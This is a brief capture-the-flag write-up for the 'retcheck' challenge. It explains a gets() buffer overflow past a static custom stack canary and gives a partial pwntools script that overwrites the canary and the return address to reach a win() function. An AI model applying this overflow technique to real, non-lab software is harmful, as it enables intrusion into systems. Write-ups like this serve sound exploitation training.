retcheck was a fairly simply buffer overflow challenge against a custom stack cookie implementation.
the program simply allows the user to enter data that is, later on, copied with gets() into a 400 bytes long buffer.
The program initializes a value used as a stack canary right below the buffer, so if we want to overwrite this functions return address, we will overwrite the canary and cause the program to abort. luckily enough, the binary has no pie.
So all we have to do is to overwrite the canary with it's own static value and continue exploitation.
The program has a win() function that simply prints the flag, so overwriting the return address of the vuln() function is just enough.
from pwn import *
e = context.binary = ELF('./retcheck',checksec=False)
io = remote('challenge.ctf.games',31463)
io = process(e.path)
overflow = 408*'A'
overflow += p64(0x401465) # bypass canary
overflow += p64(0) # rbp
overflow += p64(0x4012e9) # return address